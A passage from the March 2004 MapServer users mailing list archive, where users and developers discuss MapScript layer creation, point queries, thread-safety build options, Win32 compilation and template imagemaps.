http://server/cgi-bin/mapserv?map=/myapplication/mymapfile.map&imgext=...... ( the "bad" way) http://server/cgi-bin/mapserv?imgext=...... ( the "good" way) thanks Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From dmorissette at dmsolutions.ca Tue Mar 9 07:14:30 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 09 Mar 2004 10:14:30 -0500 Subject: [Mapserver-users] How to hide the 'map' variable? In-Reply-To: <20040309120845.27158.qmail@hm47.locaweb.com.br> References: <20040309120845.27158.qmail@hm47.locaweb.com.br> Message-ID: <404DDF56.909@dmsolutions.ca> Eduardo Patto Kanegae wrote: > is there a way of not passing the 'map' variable through a MapServer CGI call? > > e.g.: http://server/cgi-bin/mapserv?map=/myapplication/mymapfile.map&imgext=...... ( the "bad" way) > > http://server/cgi-bin/mapserv?imgext=...... ( the "good" way) > A few tricks are discussed in the WMS Server HOWTO: http://mapserver.gis.umn.edu/doc40/wms-server-howto.html#onlineresourceurl -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue Mar 9 05:51:19 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 09 Mar 2004 08:51:19 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <404D91D5.4070801@schnegg.net> References: <404705B0.4010506@schnegg.net> <4047580E.1040400@dmsolutions.ca> <404835D4.9000109@schnegg.net> <4048B0D4.4040104@dmsolutions.ca> <404D91D5.4070801@schnegg.net> Message-ID: <404DCBD7.9010009@dmsolutions.ca> Frank Rittinger wrote: > > Just one more question: Is Mapserver 4.1 already stable enough to be > used in a production environment? > Of course it's at your own risk, but we do use it for lots of stuff. It's in quite good shape. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From eric at gomoos.org Tue Mar 9 07:45:07 2004 From: eric at gomoos.org (Eric Bridger) Date: 09 Mar 2004 10:45:07 -0500 Subject: [Mapserver-users] How to create new layer and add user points ??? In-Reply-To: <000001c40541$c0fd37d0$548dc49e@joseph> References: <000001c40541$c0fd37d0$548dc49e@joseph> Message-ID: <1078847113.1517.28.camel@ubet.gomoos.org> My guess would be that your "x" and "y" form input values are not geographic coordinates in the correct units. If they are image coordinates (pixels) you could try adding: $layerObj->set('transform', MS_FALSE); On Mon, 2004-03-08 at 14:15, Josef Stromsk? wrote: > Hi folks > > Im trying to solve this problem. > I need to create new layer with users points by PHP/Mapscript. I've > found one possibility in this mailinglist, but it doesn't work. > This is my script: > > > ------------------------------------------------------------------------ > -------------------------------- > $x=$HTTP_GET_VARS["x"]; > $y=$HTTP_GET_VARS["y"]; > dl("php_mapscript_36.dll"); > $mapFile = ms_newMapObj("D:/mapa.map"); > $layer = $mapFile->getLayerByName("klimatic_wgs"); > if ( isset($HTTP_GET_VARS['x']) && isset($HTTP_GET_VARS['y']) ) { > $pointobj = ms_newPointObj(); > $pointobj->setXY($HTTP_GET_VARS['x'],$HTTP_GET_VARS['y']); > $lineobj = ms_newLineObj(); > $lineobj->add($pointobj); > $pointobj->free(); > $shapeobj = ms_newShapeObj(MS_SHAPE_POINT); > $shapeobj->add($lineobj); > $lineobj->free(); > $layerobj = ms_newLayerObj($mapFile); > $layerobj->set('type',MS_LAYER_POINT); > $layerobj->set('status',MS_ON); > $layerobj->addFeature($shapeobj); > $classobj = ms_newClassObj($layerobj); > $classobj->set('symbol',0); > $classobj->set('size',20); > $newColor = $mapFile->addColor(255,255,0); > $classobj->set("color", $newColor); > } > $mapImage = $mapFile->prepareImage(); > $layer->draw($mapImage)"; > $layerobj->draw($mapImage); > > $mapImagePath = "saveWebImage(MS_PNG'>http://158.196.143.80/".$mapImage- > >saveWebImage(MS_PNG, 0, 0, 95); > echo ""; > ?> > ------------------------------------------------------------------------ > -------------------------------- > > > This script doesn't returns any error messages, but only first > layer($layer) is visible. > If is here anybody with some idea how to solve this mess, I'll be > thankful to you. > > Best regards. > > Josef Stromsky > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From webmaster at redmilenio.com Tue Mar 9 08:15:45 2004 From: webmaster at redmilenio.com (Thomas Shaw =?iso-8859-1?Q?Obreg=F3n?=) Date: Tue, 9 Mar 2004 11:15:45 -0500 (EST) Subject: [Mapserver-users] Displaying a layer generated "on the fly"in a map Message-ID: <19681.148.235.127.52.1078848945.squirrel@209.183.220.9> Hello, I'm now using mapserver4 and I have 3 layers in a map that I can pefectly visualize, the way I'm doing it is with the php-mapscript. Those 3 layers are in shp format, but I also have to generate a new layer with some data inserted in a data base. The DB has 3 fields (latitude,longitude,price). I read the DB record by record and I'm generating the layer 4 "on the Fly", when I finish it,I save it to the hard disk, but when I try to visualize it doesn't appears in the map, there only appears the first three layers. How can I do to visualize that 4rth layer in the map? I'll appreciate a lot if anyone can help me with this. From eduardo at consultoria.eti.br Tue Mar 9 10:14:38 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 09 Mar 2004 15:14:38 -0300 Subject: [Mapserver-users] thread safe support Message-ID: <404E098E.1000708@consultoria.eti.br> What is the purpose of the option: --with-threads[=linkopt] Include thread safe support in "./configure" of MapServer? thanks -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From Rory.PLAIRE at Co.Benton.OR.US Tue Mar 9 10:22:04 2004 From: Rory.PLAIRE at Co.Benton.OR.US (PLAIRE Rory) Date: Tue, 9 Mar 2004 10:22:04 -0800 Subject: [Mapserver-users] Compiling on Win32 Message-ID: Greetings, Many thanks to all who work on Mapserver... a great tool to bring GIS closer to everyone! I am trying to compile Mapserver on Win32 so that I can create a C# wrapper with SWIG. Two issues come up: 1) I can't find documentation on how to generate mapparser.h from mapparser.y, although I've used Flex to no avail and 2) It isn't clear how to generate Mapserver as a DLL, although I know that some editing of the build will be needed. I am lamentably green in the VC++ build process, so these questions will take me some time to iron out. Perhaps someone would be kind enough to point to the right direction to start me off. Appreciative, -rory Rory Plaire GIS Programmer/Analyst Benton County, Oregon From willrichardson at teq-services.com Tue Mar 9 10:45:18 2004 From: willrichardson at teq-services.com (Will Richardson) Date: Tue, 9 Mar 2004 13:45:18 -0500 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: References: Message-ID: <1078857918.404e10bea7cb8@webmail.dsl.net> Hello, I am trying to do a query after i add a feature to a layer and the shape and tile indexes are -1 so i can't get the shape that was queried. Below is my code in java, if you have any suggestions, please let me know. thanks layerObj layer = map.getLayerByName( "towermark" ); layer.setStatus( MapScript.MS_ON ); pointObj myHouse = new pointObj(); myHouse.setX( -104.06478597176886 ); myHouse.setY( 38.46972580576644 ); lineObj line = new lineObj(); line.add( myHouse ); shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT ); shape.add( line ); layer.addFeature( shape ); imageObj image = map.draw(); pointObj queryPoint = new pointObj(); queryPoint.setX( -104.06478597176886 ); queryPoint.setY( 38.46972580576644 ); int result = layer.queryByPoint( map, queryPoint, MapScript.MS_SINGLE, 10 ); System.out.println( "result of query: " + result ); System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS ); System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE ); resultCacheObj cache = layer.getResultcache(); //prints 1 System.out.println( "number of results: " + cache.getNumresults () ); resultCacheMemberObj resultObj = layer.getResult( 0 ); System.out.println( "shape index: " + resultObj.getShapeindex() ); System.out.println( "tile index: " + resultObj.getTileindex() ); System.out.println( "Class index: " + resultObj.getClassindex() ); shape = layer.getShape( resultObj.getTileindex(), resultObj.getShapeindex() ); if ( shape != null ) { System.out.println( "shape.getNumvalues(): " + shape.getNumvalues() ); } From sgillies at frii.com Tue Mar 9 10:54:35 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 9 Mar 2004 11:54:35 -0700 Subject: [Mapserver-users] Compiling on Win32 In-Reply-To: References: Message-ID: <35ABA582-71FB-11D8-9B32-000393B98B56@frii.com> On Mar 9, 2004, at 11:22 AM, PLAIRE Rory wrote: > Greetings, > > Many thanks to all who work on Mapserver... a great tool to bring GIS > closer > to everyone! > > I am trying to compile Mapserver on Win32 so that I can create a C# > wrapper > with SWIG. Two issues come up: 1) I can't find documentation on how to > generate mapparser.h from mapparser.y, although I've used Flex to no > avail > and 2) It isn't clear how to generate Mapserver as a DLL, although I > know > that some editing of the build will be needed. > > I am lamentably green in the VC++ build process, so these questions > will > take me some time to iron out. Perhaps someone would be kind enough to > point > to the right direction to start me off. > > Appreciative, > -rory > > Rory Plaire > GIS Programmer/Analyst > Benton County, Oregon > Rory, Have you considered the possibility of using a well-supported mapscript interface such as Perl/PHP/Python/Ruby with your .NET framework? Here are a few links I found which offer some degree of interoperability between mapscript and .NET -- mapscript applications programmed in Perl/Python/Ruby and compiled for the .NET runtime: http://zope.org/Members/Brian/PythonNet/ http://www.activestate.com/Corporate/Initiatives/NET/Research.html?_x=1 http://www.saltypickle.com/rubydotnet/ I'm not trying to discourage you from a SWIG C# interface ... but if you are new to compiling MapServer, you are probably facing *many* hours pioneering a C# interface. There is no work committed to the MapServer code base to help you and as far as I know there is no one out there who has anything to share. Could be that there is a SWIG C# interface out there which is being held out of the public domain (hello dgraham?), but I can't say. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From warmerdam at pobox.com Tue Mar 9 10:55:42 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 09 Mar 2004 13:55:42 -0500 Subject: [Mapserver-users] thread safe support In-Reply-To: <404E098E.1000708@consultoria.eti.br> References: <404E098E.1000708@consultoria.eti.br> Message-ID: <404E132E.2060200@pobox.com> Eduardo Patto Kanegae wrote: > What is the purpose of the option: > > --with-threads[=linkopt] Include thread safe support > > in "./configure" of MapServer? > > thanks Eduardo, This causes MapServer to use pthreads libraries to enable thread locking and per-thread error management. Without it multi-threaded applications of mapserver (such as when loaded as a PHP, perl or Python module in Apache or when using FastCGI) are likely to cause various ugly crashes. Some more information can be found at: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ThreadSafety I would note that I don't consider mapserver to be thread-safe even with this all enabled, but it should be close for simple cases. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From sgillies at frii.com Tue Mar 9 11:20:58 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 9 Mar 2004 12:20:58 -0700 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: <1078857918.404e10bea7cb8@webmail.dsl.net> References: <1078857918.404e10bea7cb8@webmail.dsl.net> Message-ID: On Mar 9, 2004, at 11:45 AM, Will Richardson wrote: > Hello, > > I am trying to do a query after i add a feature to a layer and the > shape and > tile indexes are -1 so i can't get the shape that was queried. Below > is my > code in java, if you have any suggestions, please let me know. > > thanks > > layerObj layer = map.getLayerByName( "towermark" ); > layer.setStatus( MapScript.MS_ON ); > > pointObj myHouse = new pointObj(); > myHouse.setX( -104.06478597176886 ); > myHouse.setY( 38.46972580576644 ); > > lineObj line = new lineObj(); > line.add( myHouse ); > shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT ); > shape.add( line ); > layer.addFeature( shape ); > > imageObj image = map.draw(); > > pointObj queryPoint = new pointObj(); > queryPoint.setX( -104.06478597176886 ); > queryPoint.setY( 38.46972580576644 ); > int result = layer.queryByPoint( map, queryPoint, > MapScript.MS_SINGLE, 10 ); > > System.out.println( "result of query: " + result ); > System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS > ); > System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE > ); > > resultCacheObj cache = layer.getResultcache(); > //prints 1 > System.out.println( "number of results: " + > cache.getNumresults > () ); > > resultCacheMemberObj resultObj = layer.getResult( 0 ); > System.out.println( "shape index: " + > resultObj.getShapeindex() ); > System.out.println( "tile index: " + > resultObj.getTileindex() ); > System.out.println( "Class index: " + > resultObj.getClassindex() ); > > shape = layer.getShape( resultObj.getTileindex(), > resultObj.getShapeindex() ); > if ( shape != null ) > { > System.out.println( "shape.getNumvalues(): " + > shape.getNumvalues() ); > } > ______ Will, I think you forgot to ask your question ... you want to know why getShape doesn't work as expected? You don't say so, but I am assuming you are using a Java mapscript from Mapserver 3.x? True? Well, one problem is that getShape doesn't return a shapeObj. Your code will have to be something like this: shapeObj shape = shapeObj(layer.type); layer.getShape(shape, resultObj.getTileindex(), resultObj.getShapeindex()); Hope this helps, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From willrichardson at teq-services.com Tue Mar 9 11:26:25 2004 From: willrichardson at teq-services.com (Will Richardson) Date: Tue, 9 Mar 2004 14:26:25 -0500 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: References: <1078857918.404e10bea7cb8@webmail.dsl.net> Message-ID: <1078860385.404e1a6136b2b@webmail.dsl.net> sorry, the problem is that shapeindex is -1 and tileindex is -1 so getShape returns a null object as it can't find any shape. I am using mapscript for mapserver 3.6.3 as this is the only version i have found that i can get java mapscript to work. my understanding is that the shape and tile index would be set in the layer after i add a feature but then when i query the layer i do find 1 resultCacheMemberObj but the values in there are -1. How do i fix this? in the java mapscript version i have, the code you have below is wrapped so that the java method i call (getShape) does return a shapeObj. thanks Quoting Sean Gillies : > On Mar 9, 2004, at 11:45 AM, Will Richardson wrote: > > > Hello, > > > > I am trying to do a query after i add a feature to a layer and the > > shape and > > tile indexes are -1 so i can't get the shape that was queried. Below > > is my > > code in java, if you have any suggestions, please let me know. > > > > thanks > > > > layerObj layer = map.getLayerByName( "towermark" ); > > layer.setStatus( MapScript.MS_ON ); > > > > pointObj myHouse = new pointObj(); > > myHouse.setX( -104.06478597176886 ); > > myHouse.setY( 38.46972580576644 ); > > > > lineObj line = new lineObj(); > > line.add( myHouse ); > > shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT ); > > shape.add( line ); > > layer.addFeature( shape ); > > > > imageObj image = map.draw(); > > > > pointObj queryPoint = new pointObj(); > > queryPoint.setX( -104.06478597176886 ); > > queryPoint.setY( 38.46972580576644 ); > > int result = layer.queryByPoint( map, queryPoint, > > MapScript.MS_SINGLE, 10 ); > > > > System.out.println( "result of query: " + result ); > > System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS > > ); > > System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE > > ); > > > > resultCacheObj cache = layer.getResultcache(); > > //prints 1 > > System.out.println( "number of results: " + > > cache.getNumresults > > () ); > > > > resultCacheMemberObj resultObj = layer.getResult( 0 ); > > System.out.println( "shape index: " + > > resultObj.getShapeindex() ); > > System.out.println( "tile index: " + > > resultObj.getTileindex() ); > > System.out.println( "Class index: " + > > resultObj.getClassindex() ); > > > > shape = layer.getShape( resultObj.getTileindex(), > > resultObj.getShapeindex() ); > > if ( shape != null ) > > { > > System.out.println( "shape.getNumvalues(): " + > > shape.getNumvalues() ); > > } > > ______ > > > Will, > > I think you forgot to ask your question ... you want to know why > getShape doesn't work as expected? > > You don't say so, but I am assuming you are using a Java mapscript from > Mapserver 3.x? True? Well, one problem is that getShape doesn't > return a shapeObj. Your code will have to be something like this: > > shapeObj shape = shapeObj(layer.type); > layer.getShape(shape, resultObj.getTileindex(), > resultObj.getShapeindex()); > > Hope this helps, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > From romain at mezimail.com Tue Mar 9 11:30:14 2004 From: romain at mezimail.com (Romain Chantereau) Date: Tue, 09 Mar 2004 20:30:14 +0100 Subject: [Mapserver-users] Map shapes ? Message-ID: <404E1B46.9080101@mezimail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi ! I am wondering where I can find free shp, shx, (and dbf optionaly) files from the world, politicaly only. Does somebody know a link, or page, or website, or owns files ? Thanks you very much, - -- Romain Chantereau -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAThtF9uawmXu5rjARArj6AJ9H855JkOm+czV7YMRr1sf/EzDNDgCfew+U 3vHDxFxLUfHS3gb4MVRlgFI= =L3fh -----END PGP SIGNATURE----- From sgillies at frii.com Tue Mar 9 11:52:20 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 9 Mar 2004 12:52:20 -0700 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: <1078860385.404e1a6136b2b@webmail.dsl.net> References: <1078857918.404e10bea7cb8@webmail.dsl.net> <1078860385.404e1a6136b2b@webmail.dsl.net> Message-ID: <4678A4D4-7203-11D8-9B32-000393B98B56@frii.com> Sorry, I don't have any pre-4 versions of MapServer around these days, so I can't say for sure -- but I don't think that inline features such as those added with addFeature() are queryable in this way. Inline features are not really meant for this purpose, they are more for annotation, one-off markers, display-only uses. Sean On Mar 9, 2004, at 12:26 PM, Will Richardson wrote: > > sorry, the problem is that shapeindex is -1 and tileindex is -1 so > getShape > returns a null object as it can't find any shape. I am using mapscript > for > mapserver 3.6.3 as this is the only version i have found that i can > get java > mapscript to work. > > my understanding is that the shape and tile index would be set in the > layer > after i add a feature but then when i query the layer i do find 1 > resultCacheMemberObj but the values in there are -1. How do i fix this? > > in the java mapscript version i have, the code you have below is > wrapped so > that the java method i call (getShape) does return a shapeObj. > > thanks > > Quoting Sean Gillies : > >> On Mar 9, 2004, at 11:45 AM, Will Richardson wrote: >> >>> Hello, >>> >>> I am trying to do a query after i add a feature to a layer and the >>> shape and >>> tile indexes are -1 so i can't get the shape that was queried. Below >>> is my >>> code in java, if you have any suggestions, please let me know. >>> >>> thanks >>> >>> layerObj layer = map.getLayerByName( "towermark" ); >>> layer.setStatus( MapScript.MS_ON ); >>> >>> pointObj myHouse = new pointObj(); >>> myHouse.setX( -104.06478597176886 ); >>> myHouse.setY( 38.46972580576644 ); >>> >>> lineObj line = new lineObj(); >>> line.add( myHouse ); >>> shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT >>> ); >>> shape.add( line ); >>> layer.addFeature( shape ); >>> >>> imageObj image = map.draw(); >>> >>> pointObj queryPoint = new pointObj(); >>> queryPoint.setX( -104.06478597176886 ); >>> queryPoint.setY( 38.46972580576644 ); >>> int result = layer.queryByPoint( map, queryPoint, >>> MapScript.MS_SINGLE, 10 ); >>> >>> System.out.println( "result of query: " + result ); >>> System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS >>> ); >>> System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE >>> ); >>> >>> resultCacheObj cache = layer.getResultcache(); >>> //prints 1 >>> System.out.println( "number of results: " + >>> cache.getNumresults >>> () ); >>> >>> resultCacheMemberObj resultObj = layer.getResult( 0 ); >>> System.out.println( "shape index: " + >>> resultObj.getShapeindex() ); >>> System.out.println( "tile index: " + >>> resultObj.getTileindex() ); >>> System.out.println( "Class index: " + >>> resultObj.getClassindex() ); >>> >>> shape = layer.getShape( resultObj.getTileindex(), >>> resultObj.getShapeindex() ); >>> if ( shape != null ) >>> { >>> System.out.println( "shape.getNumvalues(): " + >>> shape.getNumvalues() ); >>> } >>> ______ >> >> >> Will, >> >> I think you forgot to ask your question ... you want to know why >> getShape doesn't work as expected? >> >> You don't say so, but I am assuming you are using a Java mapscript >> from >> Mapserver 3.x? True? Well, one problem is that getShape doesn't >> return a shapeObj. Your code will have to be something like this: >> >> shapeObj shape = shapeObj(layer.type); >> layer.getShape(shape, resultObj.getTileindex(), >> resultObj.getShapeindex()); >> >> Hope this helps, >> Sean >> >> -- >> Sean Gillies >> sgillies at frii dot com >> http://users.frii.com/sgillies >> >> > > > > -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From willrichardson at teq-services.com Tue Mar 9 12:06:31 2004 From: willrichardson at teq-services.com (Will Richardson) Date: Tue, 9 Mar 2004 15:06:31 -0500 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: <4678A4D4-7203-11D8-9B32-000393B98B56@frii.com> References: <1078857918.404e10bea7cb8@webmail.dsl.net> <1078860385.404e1a6136b2b@webmail.dsl.net> <4678A4D4-7203-11D8-9B32-000393B98B56@frii.com> Message-ID: <1078862791.404e23c73ec9b@webmail.dsl.net> I think you can query an item after addFeature. In my example below, if i comment out the addFeature line then i get 0 back in the cache result. Adding the line back into the code, i get 1 result back. for some reason though, the shape index is not being set. I'll continue to research. thank you for your help. Quoting Sean Gillies : > Sorry, I don't have any pre-4 versions of MapServer around these days, > so I can't say for sure -- but I don't think that inline features > such as those added with addFeature() are queryable in this way. > Inline features are not really meant for this purpose, they are more > for annotation, one-off markers, display-only uses. > > Sean > > On Mar 9, 2004, at 12:26 PM, Will Richardson wrote: > > > > > sorry, the problem is that shapeindex is -1 and tileindex is -1 so > > getShape > > returns a null object as it can't find any shape. I am using mapscript > > for > > mapserver 3.6.3 as this is the only version i have found that i can > > get java > > mapscript to work. > > > > my understanding is that the shape and tile index would be set in the > > layer > > after i add a feature but then when i query the layer i do find 1 > > resultCacheMemberObj but the values in there are -1. How do i fix this? > > > > in the java mapscript version i have, the code you have below is > > wrapped so > > that the java method i call (getShape) does return a shapeObj. > > > > thanks > > > > Quoting Sean Gillies : > > > >> On Mar 9, 2004, at 11:45 AM, Will Richardson wrote: > >> > >>> Hello, > >>> > >>> I am trying to do a query after i add a feature to a layer and the > >>> shape and > >>> tile indexes are -1 so i can't get the shape that was queried. Below > >>> is my > >>> code in java, if you have any suggestions, please let me know. > >>> > >>> thanks > >>> > >>> layerObj layer = map.getLayerByName( "towermark" ); > >>> layer.setStatus( MapScript.MS_ON ); > >>> > >>> pointObj myHouse = new pointObj(); > >>> myHouse.setX( -104.06478597176886 ); > >>> myHouse.setY( 38.46972580576644 ); > >>> > >>> lineObj line = new lineObj(); > >>> line.add( myHouse ); > >>> shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT > >>> ); > >>> shape.add( line ); > >>> layer.addFeature( shape ); > >>> > >>> imageObj image = map.draw(); > >>> > >>> pointObj queryPoint = new pointObj(); > >>> queryPoint.setX( -104.06478597176886 ); > >>> queryPoint.setY( 38.46972580576644 ); > >>> int result = layer.queryByPoint( map, queryPoint, > >>> MapScript.MS_SINGLE, 10 ); > >>> > >>> System.out.println( "result of query: " + result ); > >>> System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS > >>> ); > >>> System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE > >>> ); > >>> > >>> resultCacheObj cache = layer.getResultcache(); > >>> //prints 1 > >>> System.out.println( "number of results: " + > >>> cache.getNumresults > >>> () ); > >>> > >>> resultCacheMemberObj resultObj = layer.getResult( 0 ); > >>> System.out.println( "shape index: " + > >>> resultObj.getShapeindex() ); > >>> System.out.println( "tile index: " + > >>> resultObj.getTileindex() ); > >>> System.out.println( "Class index: " + > >>> resultObj.getClassindex() ); > >>> > >>> shape = layer.getShape( resultObj.getTileindex(), > >>> resultObj.getShapeindex() ); > >>> if ( shape != null ) > >>> { > >>> System.out.println( "shape.getNumvalues(): " + > >>> shape.getNumvalues() ); > >>> } > >>> ______ > >> > >> > >> Will, > >> > >> I think you forgot to ask your question ... you want to know why > >> getShape doesn't work as expected? > >> > >> You don't say so, but I am assuming you are using a Java mapscript > >> from > >> Mapserver 3.x? True? Well, one problem is that getShape doesn't > >> return a shapeObj. Your code will have to be something like this: > >> > >> shapeObj shape = shapeObj(layer.type); > >> layer.getShape(shape, resultObj.getTileindex(), > >> resultObj.getShapeindex()); > >> > >> Hope this helps, > >> Sean > >> > >> -- > >> Sean Gillies > >> sgillies at frii dot com > >> http://users.frii.com/sgillies > >> > >> > > > > > > > > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > From eric at gomoos.org Tue Mar 9 12:21:18 2004 From: eric at gomoos.org (Eric Bridger) Date: 09 Mar 2004 15:21:18 -0500 Subject: [Mapserver-users] Query by point shape and tile indexes are -1 In-Reply-To: <1078860385.404e1a6136b2b@webmail.dsl.net> References: <1078857918.404e10bea7cb8@webmail.dsl.net> <1078860385.404e1a6136b2b@webmail.dsl.net> Message-ID: <1078863684.1517.62.camel@ubet.gomoos.org> queryByPoint() returns 0 on success and 1 on failure. I know that's not much help, but explains the -1 shapeindex, etc. Do you have a TEMPLATE defined in your towermark layer? Even if it is never used it must be there to make the layer queryable. The other issue is that since you are creating the shape on the fly there really is no shape index associated with it unless you set it explicitly. BTW, addFeature() can be used exactly this way to make the point queryable even when there is no shape file associated with it, but what will be returned in this case is the index property of the shape. I'm not familiar with the java mapscript syntax, but in perl I always do something like: $shape->{index} = $i; It is $i which will be returned in the query cache as the shape index. HTH Eric On Tue, 2004-03-09 at 14:26, Will Richardson wrote: > > sorry, the problem is that shapeindex is -1 and tileindex is -1 so getShape > returns a null object as it can't find any shape. I am using mapscript for > mapserver 3.6.3 as this is the only version i have found that i can get java > mapscript to work. > > my understanding is that the shape and tile index would be set in the layer > after i add a feature but then when i query the layer i do find 1 > resultCacheMemberObj but the values in there are -1. How do i fix this? > > in the java mapscript version i have, the code you have below is wrapped so > that the java method i call (getShape) does return a shapeObj. > > thanks > > Quoting Sean Gillies : > > > On Mar 9, 2004, at 11:45 AM, Will Richardson wrote: > > > > > Hello, > > > > > > I am trying to do a query after i add a feature to a layer and the > > > shape and > > > tile indexes are -1 so i can't get the shape that was queried. Below > > > is my > > > code in java, if you have any suggestions, please let me know. > > > > > > thanks > > > > > > layerObj layer = map.getLayerByName( "towermark" ); > > > layer.setStatus( MapScript.MS_ON ); > > > > > > pointObj myHouse = new pointObj(); > > > myHouse.setX( -104.06478597176886 ); > > > myHouse.setY( 38.46972580576644 ); > > > > > > lineObj line = new lineObj(); > > > line.add( myHouse ); > > > shapeObj shape = new shapeObj( MapScript.MS_SHAPE_POINT ); > > > shape.add( line ); > > > layer.addFeature( shape ); > > > > > > imageObj image = map.draw(); > > > > > > pointObj queryPoint = new pointObj(); > > > queryPoint.setX( -104.06478597176886 ); > > > queryPoint.setY( 38.46972580576644 ); > > > int result = layer.queryByPoint( map, queryPoint, > > > MapScript.MS_SINGLE, 10 ); > > > > > > System.out.println( "result of query: " + result ); > > > System.out.println( "MS_SUCCESS: " + MapScript.MS_SUCCESS > > > ); > > > System.out.println( "MS_FAILURE: " + MapScript.MS_FAILURE > > > ); > > > > > > resultCacheObj cache = layer.getResultcache(); > > > //prints 1 > > > System.out.println( "number of results: " + > > > cache.getNumresults > > > () ); > > > > > > resultCacheMemberObj resultObj = layer.getResult( 0 ); > > > System.out.println( "shape index: " + > > > resultObj.getShapeindex() ); > > > System.out.println( "tile index: " + > > > resultObj.getTileindex() ); > > > System.out.println( "Class index: " + > > > resultObj.getClassindex() ); > > > > > > shape = layer.getShape( resultObj.getTileindex(), > > > resultObj.getShapeindex() ); > > > if ( shape != null ) > > > { > > > System.out.println( "shape.getNumvalues(): " + > > > shape.getNumvalues() ); > > > } > > > ______ > > > > > > Will, > > > > I think you forgot to ask your question ... you want to know why > > getShape doesn't work as expected? > > > > You don't say so, but I am assuming you are using a Java mapscript from > > Mapserver 3.x? True? Well, one problem is that getShape doesn't > > return a shapeObj. Your code will have to be something like this: > > > > shapeObj shape = shapeObj(layer.type); > > layer.getShape(shape, resultObj.getTileindex(), > > resultObj.getShapeindex()); > > > > Hope this helps, > > Sean > > > > -- > > Sean Gillies > > sgillies at frii dot com > > http://users.frii.com/sgillies > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From siki at agt.bme.hu Tue Mar 9 14:46:08 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 9 Mar 2004 21:46:08 -0100 (GMT+1) Subject: [Mapserver-users] Shape file Query {Scanned} In-Reply-To: <404D4277.9010001@darya.nio.org> Message-ID: Hi, On Tue, 9 Mar 2004, Pramila R Gawas wrote: > Hi , > > Is there any way of generating shp, shx, dbf files from jpeg or tiff files The quick answer to your question is no. If you would like to display raster data (jpeg, tiff) with mapserver then add georeference to those files (see raster howto). The slower yes answer :) Shape files store vector data (co-ordinates, lines, etc), jpeg, tiff files stores adjecent pixel values. You may vectorize raster data by drawing vectors on the raster in a CAD or mapping software. There are some raster to vector (R2V) which tries to generate the vector from the raster automaticly, but the result usually needs 30-70% postprocessing :( Bye Zoltan From spencer at dmsolutions.ca Tue Mar 9 12:37:11 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Tue, 09 Mar 2004 15:37:11 -0500 Subject: [Mapserver-users] shpxy Message-ID: <404E2AF7.50701@magma.ca> Hi, I'm using the [shpxy xf="," transform] in a template to create imagemaps ... the imagemap onmouseover/onmouseout dynamically positions a dhtml div element over the feature in the map. This works exceptionally well for points but it doesn't work for polygons. Is there anything I can use in a template to get a centroid value for a polygon (rather than all the points)? Also, has anyone tried to do this for lines? I'm using mapscript and generating the template dynamically based the type of a selected layer. Right now my approach is to get the points that make up lines and then create polygons by buffering the lines ... this is obviously quite a lot of work in php :) Cheers, Paul -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From siki at agt.bme.hu Tue Mar 9 15:20:29 